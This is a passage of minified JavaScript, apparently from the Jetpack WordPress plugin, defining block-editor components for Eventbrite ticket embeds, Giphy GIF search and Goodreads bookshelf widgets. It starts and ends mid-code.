B;return(0,o.useEffect)(()=&gt;{T(k)},[k,T]),B=A?(0,f.jsx)(h.A,{}):j||!k||E?(0,f.jsx)(p.A,{...e,editedUrl:_,onChange:e=&gt;C(e.target.value),onSubmit:e=&gt;{e&amp;&amp;e.preventDefault(),T((0,g.pJ)(_)),w(!1)}}):(0,f.jsxs)(f.Fragment,{children:[(0,f.jsx)(d.s,{...e}),(0,f.jsx)(r.BlockControls,{children:(0,f.jsx)(d.o,{setEditingUrl:w})}),&quot;modal&quot;===y?(0,f.jsx)(r.InnerBlocks,{template:[[b.name,b.attributes]],templateLock:&quot;all&quot;}):(0,f.jsx)(m.A,{...e})]}),(0,f.jsx)(&quot;div&quot;,{...x,children:B})})},34590(e,t,s){&quot;use strict&quot;;var r=s(74997),n=s(94375),o=s(82306),a=s(36850),i=s(77629),l=s(56311),c=s(52074);(0,n.M)(o,{edit:l.A,save:c.A,transforms:{from:[{type:&quot;raw&quot;,isMatch:e=&gt;&quot;P&quot;===e.nodeName&amp;&amp;(a._t.test(e.textContent)||a.GY.test(e.textContent)),transform:e=&gt;(0,r.createBlock)(&quot;jetpack/eventbrite&quot;,{url:e.textContent.trim()})}]},deprecated:i.A})},50013(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;u});var r=s(97999),n=s(85985),o=s(56427),a=s(27723),i=s(82306),l=(s(12074),s(10790));const __=a.__,_x=a._x,c=(0,n.sh)(i),u=({className:e,noticeUI:t,editedUrl:s,onChange:n,onSubmit:a})=&gt;{const i=(0,r.isWpcomPlatformSite)()?&quot;http://support.wordpress.com/wordpress-editor/blocks/eventbrite-block/&quot;:&quot;https://jetpack.com/support/jetpack-blocks/eventbrite-block/&quot;;return(0,l.jsx)(&quot;div&quot;,{className:e,children:(0,l.jsxs)(o.Placeholder,{label:__(&quot;Eventbrite Checkout&quot;,&quot;jetpack&quot;),instructions:__(&quot;Paste a link to an Eventbrite event to embed ticket checkout.&quot;,&quot;jetpack&quot;),icon:c,notices:t,children:[(0,l.jsxs)(&quot;form&quot;,{onSubmit:a,children:[(0,l.jsx)(&quot;input&quot;,{type:&quot;url&quot;,value:s,className:&quot;components-placeholder__input&quot;,&quot;aria-label&quot;:__(&quot;Eventbrite URL&quot;,&quot;jetpack&quot;),placeholder:__(&quot;Enter an event URL to embed here…&quot;,&quot;jetpack&quot;),onChange:n}),(0,l.jsx)(o.Button,{variant:&quot;secondary&quot;,type:&quot;submit&quot;,children:_x(&quot;Embed&quot;,&quot;submit button label&quot;,&quot;jetpack&quot;)})]}),(0,l.jsx)(&quot;div&quot;,{className:&quot;components-placeholder__learn-more&quot;,children:(0,l.jsx)(o.ExternalLink,{href:i,children:__(&quot;Learn more about Eventbrite embeds&quot;,&quot;jetpack&quot;)})})]})})}},68332(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(56427),n=s(27723),o=s(10790);const __=n.__,a=()=&gt;(0,o.jsxs)(&quot;div&quot;,{className:&quot;wp-block-embed is-loading&quot;,children:[(0,o.jsx)(r.Spinner,{}),(0,o.jsx)(&quot;p&quot;,{children:__(&quot;Embedding…&quot;,&quot;jetpack&quot;)})]})},72055(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(56427),n=s(10790);const o=({className:e,attributes:t})=&gt;{const{eventId:s}=t;if(!s)return;const o=`eventbrite-widget-${s}`,a=`\n\t\t\t&lt;script src=&quot;https://www.eventbrite.com/static/widgets/eb_widgets.js&quot;&gt;&lt;\/script&gt;\n\t\t\t&lt;style&gt;\n\t\t\t\t/* Prevent scrollbar on the embed preview */\n\t\t\t\tbody {\n\t\t\t\t\toverflow: hidden;\n\t\t\t\t}\n\t\t\t\t/* Eventbrite embeds have a CSS height transition on loading, which causes &lt;Sandbox&gt;\n\t\t\t\tto not recognise the resizing. We need to disable that transition. */\n\t\t\t\t* {\n\t\t\t\t\ttransition: none !important;\n\t\t\t\t}\n\t\t\t&lt;/style&gt;\n\t\t\t&lt;script&gt;\n\t\t\t\twindow.EBWidgets.createWidget({\n\t\t\t\t\twidgetType: &#039;checkout&#039;,\n\t\t\t\t\teventId: ${s},\n\t\t\t\t\tiframeContainerId: &#039;${o}&#039;,\n\t\t\t\t});\n\t\t\t&lt;\/script&gt;\n\t\t\t&lt;div id=&quot;${o}&quot;&gt;&lt;/div&gt;\n\t\t`;return(0,n.jsxs)(&quot;div&quot;,{className:e,children:[(0,n.jsx)(r.SandBox,{html:a}),(0,n.jsx)(&quot;div&quot;,{className:&quot;block-library-embed__interactive-overlay&quot;})]})}},52074(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(94715),n=s(10790);function o({attributes:e}){const{eventId:t,style:s,url:o}=e;if(!t)return;let a;&quot;modal&quot;===s?a=(0,n.jsx)(r.InnerBlocks.Content,{}):o&amp;&amp;(a=(0,n.jsx)(&quot;a&quot;,{className:&quot;eventbrite__direct-link&quot;,href:o,children:o}));const i=r.useBlockProps.save();return(0,n.jsx)(&quot;div&quot;,{...i,children:a})}},12074(e,t,s){&quot;use strict&quot;;s.d(t,{HE:()=&gt;i,pG:()=&gt;a,pJ:()=&gt;l});var r=s(74997),n=s(86087),o=s(10790);function a(e,t){const s=(0,o.jsx)(&quot;a&quot;,{href:e,children:e});t((0,r.createBlock)(&quot;core/paragraph&quot;,{content:(0,n.renderToString)(s)}))}function i(e){if(!e)return null;const t=e.match(/(\d+)\/?(?:\?[^/]*)?\s*$/);return t&amp;&amp;t[1]?parseInt(t[1],10):null}function l(e=&quot;&quot;){return e&amp;&amp;&quot;string&quot;==typeof e?e.trim():null}},26053(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(56427),n=s(86087),o=s(27723),a=s(10790);const __=o.__;const i=(0,n.forwardRef)(function({onSubmit:e,onChange:t,value:s=&quot;&quot;},n){return(0,a.jsxs)(&quot;form&quot;,{className:&quot;wp-block-jetpack-gif_input-container&quot;,onSubmit:e,children:[(0,a.jsx)(&quot;input&quot;,{type:&quot;text&quot;,className:&quot;wp-block-jetpack-gif_input components-placeholder__input&quot;,placeholder:__(&quot;Enter search terms, e.g. cat…&quot;,&quot;jetpack&quot;),value:s,onChange:t,ref:n,&quot;aria-labelledby&quot;:&quot;wp-block-jetpack-gif_search-button&quot;}),(0,a.jsx)(r.Button,{id:&quot;wp-block-jetpack-gif_search-button&quot;,variant:&quot;secondary&quot;,type:&quot;submit&quot;,children:__(&quot;Search&quot;,&quot;jetpack&quot;)})]})})},83690(e,t,s){&quot;use strict&quot;;s.d(t,{T:()=&gt;r});const r=&quot;t1PkR1Vq0mzHueIFBvZSZErgFs9NBmYW&quot;},86121(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(94715),n=s(56427),o=s(10790);function a(){return(0,o.jsx)(r.InspectorControls,{children:(0,o.jsx)(n.PanelBody,{className:&quot;components-panel__body-gif-branding&quot;,children:(0,o.jsxs)(n.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 202 22&quot;,children:[(0,o.jsx)(n.Path,{d:&quot;M4.6 5.9H0v10h1.6v-3.1h3c4.8 0 4.8-6.9 0-6.9zm0 5.4h-3v-4h3c2.6.1 2.6 4 0 4zM51.2 12.3c2-.3 2.7-1.7 2.7-3.1 0-1.7-1.2-3.3-3.5-3.3h-4.6v10h1.6v-3.4h2.1l3 3.4h1.9l-.2-.3-3-3.3zM47.4 11V7.4h3c1.3 0 1.9.9 1.9 1.8s-.6 1.8-1.9 1.8h-3zM30.6 13.6L28 5.9h-1.1l-2.5 7.7-2.6-7.7H20l3.7 10H25l1.4-3.5L27.5 9l1.1 3.4 1.3 3.5h1.4l3.5-10h-1.7z&quot;}),(0,o.jsx)(n.Path,{d:&quot;M14.4 5.7c-3 0-5.1 2.2-5.1 5.2 0 2.6 1.6 5.1 5.1 5.1 3.5 0 5.1-2.5 5.1-5.2-.1-2.6-1.7-5.1-5.1-5.1zm-.1 8.9c-2.5 0-3.5-1.9-3.5-3.7 0-2.2 1.2-3.8 3.5-3.8 2.4 0 3.5 2 3.5 3.8.1 2-1 3.7-3.5 3.7zM57.7 11.6h5.5v-1.5h-5.5V7.4h5.7V5.9h-7.3v10h7.3v-1.6h-5.7zM38 14.3v-2.7h5.5v-1.5H38V7.4h5.7V5.9h-7.3v10h7.3v-1.6zM93 10.3l-2.7-4.4h-1.9V6l3.8 5.8v4.1h1.6v-4.1l4-5.8v-.1h-2zM69.3 5.9h-3.8v10h3.8c3.5 0 5.1-2.5 5-5.1-.1-2.5-1.6-4.9-5-4.9zm0 8.4h-2.2V7.4h2.2c2.3 0 3.4 1.7 3.4 3.4s-1 3.5-3.4 3.5zM86.3 10.7c.9-.4 1.4-1.1 1.4-2 0-2-1.5-2.8-3.4-2.8h-4.6v10h4.6c2 0 3.7-.7 3.7-2.8 0-.8-.5-2-1.7-2.4zm-5-3.4h3c1.2 0 1.8.7 1.8 1.4 0 .8-.6 1.3-1.8 1.3h-3V7.3zm3 7.1h-3v-2.9h3c.9 0 2.1.5 2.1 1.6 0 1-1.2 1.3-2.1 1.3zM113.9 13.3h5.3V16c-1.2.9-2.9 1.1-4 1.1-4.2 0-5.6-3.3-5.6-6 0-4.1 2.2-6.1 5.6-6.1 1.4 0 3.2.4 4.8 1.8l3.4-3.4C120.7.6 118.1 0 115.2 0c-7.8 0-11.4 5.6-11.4 11s3.1 10.9 11.4 10.9c4 0 7.6-1.4 8.9-4.1V8.6h-10.2v4.7zM171.9 8.5h-7.4V.6h-5.9v20.8h5.9v-7.8h7.4v7.8h5.9V.6h-5.9zM195.1.6l-4.5 7.1-4.3-7.1h-6.6v.2l7.9 12.3v8.3h5.9v-8.3L201.8.9V.6zM127.4.6h5.9v20.8h-5.9zM147.6.6h-10.1v20.8h5.9v-5.6h4.2c5.6-.1 8.3-3.4 8.3-7.6.1-4.1-2.7-7.6-8.3-7.6zm0 10.2h-4.2V5.6h4.2c1.6 0 2.5 1.2 2.5 2.6 0 1.4-.9 2.6-2.5 2.6z&quot;})]})})})}},9695(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;f});var r=s(85985),n=s(94715),o=s(56427),a=s(86087),i=s(27723),l=s(13022),c=s(5564),u=s(26053),d=s(86121),p=s(65465),h=s(38770),m=s(10790);const __=i.__,g=(0,r.sh)(c);const f=function({attributes:e,setAttributes:t,isSelected:s}){const{align:r,caption:i,giphyUrl:f,searchText:b,paddingTop:v}=e,[k,y]=(0,a.useState)(!1),x=(0,a.createRef)(),{isFetching:j,giphyData:w,fetchGiphyData:_}=(0,p.A)(),C=(0,n.useBlockProps)(),A=()=&gt;{x.current.focus(),y(!1)};(0,a.useEffect)(()=&gt;{!f&amp;&amp;w&amp;&amp;w[0]&amp;&amp;t((0,h.Er)(w[0]))},[f,w,t]);const S=async t=&gt;{if(t.preventDefault(),!e.searchText||j)return;const s=await(0,h.ID)(e.searchText);s&amp;&amp;_(s)},E=e=&gt;t({searchText:e.target.value});return(0,m.jsxs)(&quot;div&quot;,{...C,className:(0,l.A)(C.className,`align${r}`),children:[(0,m.jsx)(d.A,{}),f?(0,m.jsxs)(&quot;figure&quot;,{children:[s&amp;&amp;(0,m.jsx)(u.A,{onSubmit:S,onChange:E,value:b,ref:x}),s&amp;&amp;w&amp;&amp;w.length&gt;1&amp;&amp;(0,m.jsx)(&quot;div&quot;,{className:&quot;wp-block-jetpack-gif_thumbnails-container&quot;,children:w.map(e=&gt;{const s={backgroundImage:`url(${e.images.downsized_still.url})`};return(0,m.jsx)(&quot;button&quot;,{className:&quot;wp-block-jetpack-gif_thumbnail-container&quot;,onClick:s=&gt;{s.preventDefault(),(e=&gt;{t((0,h.Er)(e))})(e)},style:s},e.id)})}),(0,m.jsxs)(&quot;div&quot;,{className:&quot;wp-block-jetpack-gif-wrapper&quot;,style:{paddingTop:v},children:[(0,m.jsx)(&quot;div&quot;,{className:&quot;wp-block-jetpack-gif_cover&quot;,onClick:A,onKeyDown:A,role:&quot;button&quot;,tabIndex:&quot;0&quot;}),(0,m.jsx)(&quot;iframe&quot;,{src:f,title:b})]}),(!n.RichText.isEmpty(i)||s)&amp;&amp;!!f&amp;&amp;(0,m.jsx)(n.RichText,{className:&quot;wp-block-jetpack-gif-caption gallery-caption&quot;,inlineToolbar:!0,isSelected:k,onFocus:()=&gt;y(!1),onChange:e=&gt;t({caption:e}),placeholder:__(&quot;Write caption…&quot;,&quot;jetpack&quot;),tagName:&quot;figcaption&quot;,value:i})]}):(0,m.jsx)(o.Placeholder,{className:&quot;wp-block-jetpack-gif_placeholder&quot;,icon:g,label:c.title,instructions:__(&quot;Search for a term or paste a Giphy URL&quot;,&quot;jetpack&quot;),children:(0,m.jsx)(u.A,{onSubmit:S,onChange:E,value:b,ref:x})})]})}},55734(e,t,s){&quot;use strict&quot;;var r=s(94375),n=s(5564),o=s(9695);s(64799),s(55883);(0,r.M)(n,{edit:o.A,save:()=&gt;null})},65465(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(86087);const n=(e=[])=&gt;{const[t,s]=(0,r.useState)(!1),[n,o]=(0,r.useState)(e),[a,i]=(0,r.useState)(&quot;&quot;);return(0,r.useEffect)(()=&gt;{if(!a)return;(async()=&gt;{s(!0);const e=await fetch(a).then(e=&gt;!!e.ok&amp;&amp;e).catch(()=&gt;!1);if(e){const t=await e.json(),s=void 0!==t.data.images?[t.data]:t.data;s[0].images&amp;&amp;o(s)}s(!1)})()},[a]),{isFetching:t,giphyData:n,fetchGiphyData:i}}},38770(e,t,s){&quot;use strict&quot;;s.d(t,{Er:()=&gt;d,ID:()=&gt;l});var r=s(56145),n=s(83690);const o=e=&gt;`https://api.giphy.com/v1/gifs/search?q=${encodeURIComponent(e)}&amp;api_key=${encodeURIComponent(n.T)}&amp;limit=10`,a=e=&gt;`https://api.giphy.com/v1/gifs/${encodeURIComponent(e)}?api_key=${encodeURIComponent(n.T)}`,i=(e=&quot;&quot;,t)=&gt;{const s=e.split(t);return s[s.length-1]},l=(e=&quot;&quot;)=&gt;new Promise(t=&gt;{let s=null;if((e=e.trim()).match(/^https:\/\/gph\.is\/(?:[a-zA-Z0-9]+\/)?[a-zA-Z0-9]+$/i))(0,r.A)(e).then(r=&gt;{r.startsWith(&quot;https://giphy.com/gifs/&quot;)?(s=i(r,&quot;-&quot;),t(a(s))):t(o(e))});else{const r=/^https?:\/\/(media\.|i\.)?giphy\.com\/(embed|gifs|media)?\/?([-\w]*)(\/giphy)?(\.gif)?$/,n=e.match(r);n&amp;&amp;n[3]&amp;&amp;(s=i(n[3],&quot;-&quot;)),s&amp;&amp;t(a(s)),t(o(e))}}),c=e=&gt;`${Math.floor(e.images.original.height/e.images.original.width*100)}%`,u=e=&gt;e?.embed_url,d=e=&gt;({giphyUrl:u(e),paddingTop:c(e)})},77497(e,t,s){&quot;use strict&quot;;s.d(t,{e:()=&gt;l,u:()=&gt;c});var r=s(56427),n=s(27723),o=s(30178),a=s(10790);const __=n.__,i=({attributes:e,setAttributes:t})=&gt;{const{showCover:s,showAuthor:n,showTitle:o,showRating:i,showReview:l,showTags:c}=e;return(0,a.jsxs)(r.PanelBody,{PanelBody:!0,title:__(&quot;Display Settings&quot;,&quot;jetpack&quot;),initialOpen:!0,children:[(0,a.jsx)(r.ToggleControl,{__nextHasNoMarginBottom:!0,label:__(&quot;Show cover&quot;,&quot;jetpack&quot;),checked:s,onChange:()=&gt;t({showCover:!s})}),(0,a.jsx)(r.ToggleControl,{__nextHasNoMarginBottom:!0,label:__(&quot;Show author&quot;,&quot;jetpack&quot;),checked:n,onChange:()=&gt;t({showAuthor:!n})}),(0,a.jsx)(r.ToggleControl,{__nextHasNoMarginBottom:!0,label:__(&quot;Show title&quot;,&quot;jetpack&quot;),checked:o,onChange:()=&gt;t({showTitle:!o})}),(0,a.jsx)(r.ToggleControl,{__nextHasNoMarginBottom:!0,label:__(&quot;Show rating&quot;,&quot;jetpack&quot;),checked:i,onChange:()=&gt;t({showRating:!i})}),(0,a.jsx)(r.ToggleControl,{__nextHasNoMarginBottom:!0,label:__(&quot;Show review&quot;,&quot;jetpack&quot;),checked:l,onChange:()=&gt;t({showReview:!l})}),(0,a.jsx)(r.ToggleControl,{__nextHasNoMarginBottom:!0,label:__(&quot;Show tags&quot;,&quot;jetpack&quot;),checked:c,onChange:()=&gt;t({showTags:!c})})]})};function l({attributes:e,setAttributes:t}){const{style:s,shelfOption:n,bookNumber:l,orderOption:c,customTitle:u,sortOption:d}=e;return(0,a.jsxs)(a.Fragment,{children:[(0,a.jsxs)(r.PanelBody,{PanelBody:!0,title:__(&quot;Block Settings&quot;,&quot;jetpack&quot;),initialOpen:!0,children:[(0,a.jsx)(r.SelectControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:__(&quot;Shelf&quot;,&quot;jetpack&quot;),value:n,onChange:e=&gt;t({shelfOption:e}),options:o.TG}),(0,a.jsx)(r.TextControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:__(&quot;Title&quot;,&quot;jetpack&quot;),value:u||o.wK,onChange:e=&gt;t({customTitle:e})}),(0,a.jsx)(r.SelectControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:__(&quot;Sort by&quot;,&quot;jetpack&quot;),value:d,onChange:e=&gt;t({sortOption:e}),options:o.dV}),(0,a.jsx)(r.SelectControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:__(&quot;Order&quot;,&quot;jetpack&quot;),value:c,onChange:e=&gt;t({orderOption:e}),options:o.ne}),(0,a.jsx)(r.TextControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:__(&quot;Number of books&quot;,&quot;jetpack&quot;),type:&quot;number&quot;,inputMode:&quot;numeric&quot;,min:&quot;1&quot;,max:&quot;grid&quot;===s?200:100,value:l||5,onChange:e=&gt;t({bookNumber:e})})]}),&quot;default&quot;===s&amp;&amp;i({attributes:e,setAttributes:t})]})}function c({attributes:e,setAttributes:t}){const{style:s}=e,n=[{icon:&quot;list-view&quot;,title:__(&quot;Default view&quot;,&quot;jetpack&quot;),onClick:()=&gt;t({style:&quot;default&quot;}),isActive:&quot;default&quot;===s},{icon:&quot;grid-view&quot;,title:__(&quot;Grid view&quot;,&quot;jetpack&quot;),onClick:()=&gt;t({style:&quot;grid&quot;}),isActive:&quot;grid&quot;===s}];return(0,a.jsxs)(a.Fragment,{children:[(0,a.jsx)(r.ToolbarButton,{label:__(&quot;Edit URL&quot;,&quot;jetpack&quot;),icon:&quot;edit&quot;,onClick:()=&gt;t({goodreadsId:&quot;&quot;})}),(0,a.jsx)(r.ToolbarGroup,{controls:n})]})}},53583(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;h});var r=s(85985),n=s(94715),o=s(56427),a=s(86087),i=s(27723),l=s(24360),c=s(77497),u=s(21342),d=s(30178),p=s(10790);const __=i.__,_x=i._x,h=(0,o.withNotices)(e=&gt;{const{attributes:t,className:s,noticeOperations:i,noticeUI:h,setAttributes:m}=e,[g,f]=(0,a.useState)(&quot;&quot;),[b,v]=(0,a.useState)(&quot;&quot;),[k,y]=(0,a.useState)(!1),x=(0,a.useRef)(null),j=(0,n.useBlockProps)(),{isFetchingData:w,goodreadsUserId:_,isError:C}=(0,u.A)(b);(0,a.useEffect)(()=&gt;{w&amp;&amp;y(!0),w||(y(!1),C&amp;&amp;(m({widgetId:void 0,goodreadsId:void 0,link:void 0}),A()),t.goodreadsId&amp;&amp;S(),_&amp;&amp;!C&amp;&amp;(m({goodreadsId:_}),S()))},[_,w,k,C,m]),(0,a.useEffect)(()=&gt;{x.current&amp;&amp;t.goodreadsId&amp;&amp;t.widgetId===x.current.attributes.widgetId&amp;&amp;S(),x.current=e},[e,t.goodreadsId,t.widgetId]);const A=()=&gt;{i.removeAllNotices(),i.createErrorNotice((0,p.jsx)(p.Fragment,{children:__(&quot;Sorry, this content could not be embedded.&quot;,&quot;jetpack&quot;)}))},S=()=&gt;{const e=&quot;grid&quot;===t.style?&quot;gr_grid_widget_&quot;:&quot;gr_custom_widget_&quot;;m({widgetId:Math.floor(9999999*Math.random()),link:(0,d._9)({attributes:t}),id:e+t.widgetId})},E=e=&gt;{e&amp;&amp;e.preventDefault(),v(g),y(!0)},N=()=&gt;{const{link:e,id:r}=t,n=`\n\t\t&lt;style&gt; [class^=gr_custom_container_] { border: 1px solid gray; border-radius: 10px; margin: auto; padding: 0 5px 10px 5px; background-color: #fff; color: #000; width: 300px; }  [class^=gr_custom_header_] { border-bottom: 1px solid gray; width: 100%; padding: 10px 0; margin: auto; text-align: center; font-size: 120%; }  [class^=gr_custom_each_container_] { width: 100%; clear: both; margin: auto; overflow: auto; padding-bottom: 4px; border-bottom: 1px solid #aaa; }  [class^=gr_custom_each_container_] { width: 100%; clear: both; margin-bottom: 10px; overflow: auto; padding-bottom: 4px; border-bottom: 1px solid #aaa; }  [class^=gr_custom_book_container_] { overflow: hidden; height: 60px; float: left; margin-right: 6px; width: 39px; }  [class^=gr_custom_author_] { font-size: 10px; }  [class^=gr_custom_tags_] { font-size: 10px; color: gray; }  [class^=gr_custom_rating_] { float: right; }  [class^=gr_grid_book_container] { float: left; width: 98px; height: 160px; padding: 0 0; overflow: hidden; }  [class^=gr_grid_book_container] img { height: 100%; width: 100%; }  a { text-decoration: none; }  a:hover { text-decoration: underline; }  img { max-width: 100%; }&lt;/style&gt;\n\t\t&lt;script src=&quot;${e}&quot;&gt;&lt;\/script&gt;\n      \t&lt;div id=&quot;${r}&quot;&gt;&lt;/div&gt;\n    \t`;return(0,p.jsxs)(&quot;div&quot;,{className:s,children:[(0,p.jsx)(o.SandBox,{title:&quot;Goodreads&quot;,html:n}),(0,p.jsx)(&quot;div&quot;,{className:&quot;block-library-embed__interactive-overlay&quot;})]})};let T;return T=k?(0,p.jsxs)(&quot;div&quot;,{className:&quot;wp-block-embed is-loading&quot;,children:[(0,p.jsx)(o.Spinner,{}),(0,p.jsx)(&quot;p&quot;,{children:__(&quot;Embedding…&quot;,&quot;jetpack&quot;)})]}):t.goodreadsId?(0,p.jsxs)(p.Fragment,{children:[(0,p.jsx)(n.InspectorControls,{children:(0,p.jsx)(c.e,{attributes:t,setAttributes:m})}),(0,p.jsx)(n.BlockControls,{children:(0,p.jsx)(c.u,{attributes:t,setAttributes:m})}),N()]}):(0,p.jsx)(&quot;div&quot;,{className:s,children:(0,p.jsx)(o.Placeholder,{label:__(&quot;Goodreads&quot;,&quot;jetpack&quot;),instructions:__(&quot;Paste a link to a Goodreads profile.&quot;,&quot;jetpack&quot;),icon:(0,r.sh)(l),notices:h,children:(0,p.jsxs)(&quot;form&quot;,{onSubmit:E,children:[(0,p.jsx)(&quot;input&quot;,{type:&quot;url&quot;,value:g,className:&quot;components-placeholder__input&quot;,&quot;aria-label&quot;:__(&quot;Goodreads profile URL&quot;,&quot;jetpack&quot;),placeholder:__(&quot;Enter a Goodreads profile URL to embed here…&quot;,&quot;jetpack&quot;),onChange:e=&gt;f(e.target.value)}),(0,p.jsx)(o.Button,{variant:&quot;secondary&quot;,type:&quot;submit&quot;,children:_x(&quot;Embed&quot;,&quot;submit button label&quot;,&quot;jetpack&quot;)})]})})}),(0,p.jsx)(&quot;div&quot;,{...j,children:T})})},80838(e,t,s){&quot;use strict&quot;;var r=s(74997),n=s(94375),o=s(24360),a=s(53583),i=s(94130);(0,n.M)(o,{edit:a.A,save:i.A,transforms:{from:[{type:&quot;block&quot;,blocks:[&quot;core/legacy-widget&quot;],isMatch:({idBase:e,instance:t})=&gt;!!t?.raw&amp;&amp;&quot;wpcom-goodreads&quot;===e,transform:({instance:e})=&gt;(0,r.createBlock)(&quot;jetpack/goodreads&quot;,{customTitle:e.raw.title,goodreadsId:parseInt(e.raw.user_id),shelfOption:e.raw.shelf,showRating:!1,widgetId:Math.floor(9999999*Math.random())})}]}})},21342(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(1455),n=s.n(r),o=s(86087),a=s(56145);function i(e){const[t,s]=(0,o.useState)(!1),[r,i]=(0,o.useState)(!1),[l,c]=(0,o.useState)(!1),[u,d]=(0,o.useState)(!1),p=e=&gt;{const t=e.match(/\/(user|author)\/show\/(\d+)/);return!!t&amp;&amp;parseInt(t[2])};return(0,o.useEffect)(()=&gt;{c(!1),d(!1),e.length&amp;&amp;!/^(https?:\/\/)?(www\.)?goodreads\.com\/.*/.test(e)&amp;&amp;c(!0);const t=p(e);!l&amp;&amp;e.length&amp;&amp;(i(!0),t?(async t=&gt;{if(/\/author\//.test(e)){const e=`/wpcom/v2/goodreads/user-id?id=${t}`;await n()({path:e,method:&quot;GET&quot;}).then(e=&gt;{s(e)}).catch(()=&gt;{d(!0)}).finally(()=&gt;{i(!1)})}else(0,a.A)(e).then(e=&gt;{e.endsWith(&quot;/author&quot;)&amp;&amp;d(!0),s(t)}).catch(()=&gt;{d(!0)}).finally(()=&gt;{i(!1)})})(t):(async e=&gt;{(0,a.A)(e).then(e=&gt;{const t=p(e);t?s(t):d(!0)}).catch(()=&gt;{d(!0)}).finally(()=&gt;{i(!1)})})(e))},[e,l]),{isFetchingData:r,goodreadsUserId:t,isError:l||u}}},94130(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(94715),n=s(10790);function o(){const e=r.useBlockProps.save();return(0,n.jsx)(&quot;div&quot;,{...e,children:(0,n.jsx)(r.InnerBlocks.Content,{})})}},30178(e,t,s){&quot;use strict&quot;;s.d(t,{TG:()=&gt;o,_9:()=&gt;l,dV:()=&gt;a,ne:()=&gt;i,wK:()=&gt;n});var r=s(27723);const __=r.__,_x=r._x,n=__(&quot;My Bookshelf&quot;,&quot;jetpack&quot;),o=[{label:_x(&quot;Read&quot;,&quot;perfect participle - eg. I read a book yesterday.&quot;,&quot;jetpack&quot;),value:&quot;read&quot;},{label:__(&quot;Currently reading&quot;,&quot;jetpack&quot;),value:&quot;currently-reading&quot;},{label:_x(&quot;To read&quot;,&quot;future participle - eg. I have this to read tomorrow.&quot;,&quot;jetpack&quot;),value:&quot;to-read&quot;}],a=[{label:&quot;ASIN&quot;,value:&quot;asin&quot;},{label:_x(&quot;Author&quot;,&quot;noun&quot;,&quot;jetpack&quot;),value:&quot;author&quot;},{label:__(&quot;Average rating&quot;,&quot;jetpack&quot;),value:&quot;avg_rating&quot;},{label:_x(&quot;Comments&quot;,&quot;noun&quot;,&quot;jetpack&quot;),value:&quot;comments&quot;},{label:_x(&quot;Cover&quot;,&quot;noun - ie. book cover&quot;,&quot;jetpack&quot;),value:&quot;cover&quot;},{label:__(&quot;Date added&quot;,&quot;jetpack&quot;),value:&quot;date_added&quot;},{label:__(&quot;Date published&quot;,&quot;jetpack&quot;),value:&quot;date_pub&quot;},{label:__(&quot;Date read&quot;,&quot;jetpack&quot;),value:&quot;date_read&quot;},{label:__(&quot;Date started&quot;,&quot;jetpack&quot;),value:&quot;date_started&quot;},{label:__(&quot;Dated updated&quot;,&quot;jetpack&quot;),value:&quot;date_updated&quot;},{label:_x(&quot;Format&quot;,&quot;noun&quot;,&quot;jetpack&quot;),value:&quot;format&quot;},{label:&quot;ISBN&quot;,value:&quot;isbn&quot;},{label:&quot;ISBN-13&quot;,value:&quot;isbn13&quot;},{label:_x(&quot;Notes&quot;,&quot;noun&quot;,&quot;jetpack&quot;),value:&quot;notes&quot;},{label:__(&quot;Number of pages&quot;,&quot;jetpack&quot;),value:&quot;num_pages&quot;},{label:__(&quot;Number of ratings&quot;,&quot;jetpack&quot;),value:&quot;num_ratings&quot;},{label:_x(&quot;Owned&quot;,&quot;possessive - eg. I owned this book for a year&quot;,&quot;jetpack&quot;),value:&quot;owned&quot;},{label:_x(&quot;Position&quot;,&quot;noun&quot;,&quot;jetpack&quot;),value:&quot;position&quot;},{label:__(&quot;Random&quot;,&quot;jetpack&quot;,&quot;jetpack&quot;),value:&quot;random&quot;},{label:_x(&quot;Rating&quot;,&quot;noun&quot;,&quot;jetpack&quot;),value:&quot;rating&quot;},{label:__(&quot;Read count&quot;,&quot;jetpack&quot;),value:&quot;read_count&quot;},{label:_x(&quot;Review&quot;,&quot;noun&quot;,&quot;jetpack&quot;),value:&quot;review&quot;},{label:_x(&quot;Shelves&quot;,&quot;noun&quot;,&quot;jetpack&quot;),value:&quot;shelves&quot;},{label:_x(&quot;Title&quot;,&quot;noun&quot;,&quot;jetpack&quot;),value:&quot;title&quot;},{label:_x(&quot;Votes&quot;,&quot;noun&quot;,&quot;jetpack&quot;),value:&quot;votes&quot;},{label:__(&quot;Year published&quot;,&quot;jetpack&quot;),value:&quot;year_pub&quot;}],i=[{label:__(&quot;Ascending&quot;,&quot;jetpack&quot;),value:&quot;a&quot;},{label:__(&quot;Descending&quot;,&quot;jetpack&quot;),value:&quot;d&quot;}];function l({attributes:e}){const{bookNumber:t,customTitle:s=n,goodreadsId:r,orderOption:o,shelfOption:a,showAuthor:i,showCover:l,showRating:c,showReview:u,showTags:d,showTitle:p,sortOption:h,style:m,widgetId:g}=e;if(!r)return;let 